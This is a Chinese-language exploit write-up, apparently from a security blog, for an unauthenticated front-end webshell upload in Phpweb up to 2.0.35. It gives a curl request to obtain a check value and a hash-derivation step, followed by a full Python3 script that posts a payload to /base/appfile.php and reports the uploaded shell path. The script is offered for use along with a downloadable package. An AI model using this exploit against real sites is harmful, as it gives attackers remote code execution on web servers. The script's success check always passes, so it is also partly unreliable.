Phpweb_前台getshell

# Phpweb 前台getshell

===================

一、漏洞简介
————

漏洞影响文件:/base/post.php /base/appfile.php /base/appplue.php
/base/appborder.php

二、漏洞影响
————

Phpweb\<=2.0.35 三、复现过程 ------------ ### 1.首先要获取加密前的Md5值,用于文件较检,通过Post提交数据来获取! curl "http://website/base/post.php" -H "act=appcode" ![](/static/qingy/Phpweb_前台getshell/img/rId25.png) ac34c64cdb405eff881efc5476a64761 ##这个就是初始值 ### 2.获取加密后得md5值 然后将初始值md5加密(ac34c64cdb405eff881efc5476a64761 + "a") 得到加密后的MD5值! e10adc3949ba59abbe56e057f20f883e ##这个就是加密后的md5值(终值)! 3.Getsehll exp:










![](/static/qingy/Phpweb_前台getshell/img/rId27.png)

然后…Getshell!

![](/static/qingy/Phpweb_前台getshell/img/rId28.png)

当出现OK两个大字时,说明你成功了!!!

上传的shell路径是

[http://www.0-sec.org/effect/source/bg/shell名称.php](http://www.0-sec.org/effect/source/bg/shell名称.php)

![](/static/qingy/Phpweb_前台getshell/img/rId30.png)

### 工具编写

Python exp\[Python3\]:

# -*- coding: UTF-8 -*- #
import os
import requests
import hashlib

bdlj = os.getcwd()
headers = open(bdlj+”\headers.txt”,’r’)
headerss = headers.read()
print(‘\b’)

ur = input(“请输入目标网址:”)
requrl = ur + ‘/base/post.php’
reqdata = {“act”:”appcode”}
r = requests.post(requrl,data=reqdata)
cz=r.text[2:34]
print (‘初值:’ + cz)

cz=r.text[2:34]+”a”
m = hashlib.md5()
b = cz.encode(encoding=’utf-8′)
m.update(b)
zz = m.hexdigest()
print (‘终值:’ + zz)

infile = open(bdlj + “\datas.txt”, “r”,encoding=’utf-8′)
outfile = open(bdlj + “\datah.txt”, “w”,encoding=’utf-8′)
for line in infile:
outfile.write(line.replace(‘156as1f56safasfasfa’, zz))
infile.close()
outfile.close()
datas = open(bdlj+”\datah.txt”,’r’)
datass = datas.read()

gs = requests.post(ur + ‘/base/appfile.php’,data=datass,headers={‘Content-Type’:headerss})
gs.encoding = ‘utf-8’
print (gs.text)

if {gs.text == “OK”}:
print (“Getshell成功! Shell:” + ur + “/effect/source/bg/mstir.php”)
else:
print (“Getsehll失败!”)

整包下载地址:

使用请下载整包,否则会缺少协议头和data数据!

使用教程:

![](/static/qingy/Phpweb_前台getshell/img/rId33.png)

参考链接
——–

>

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容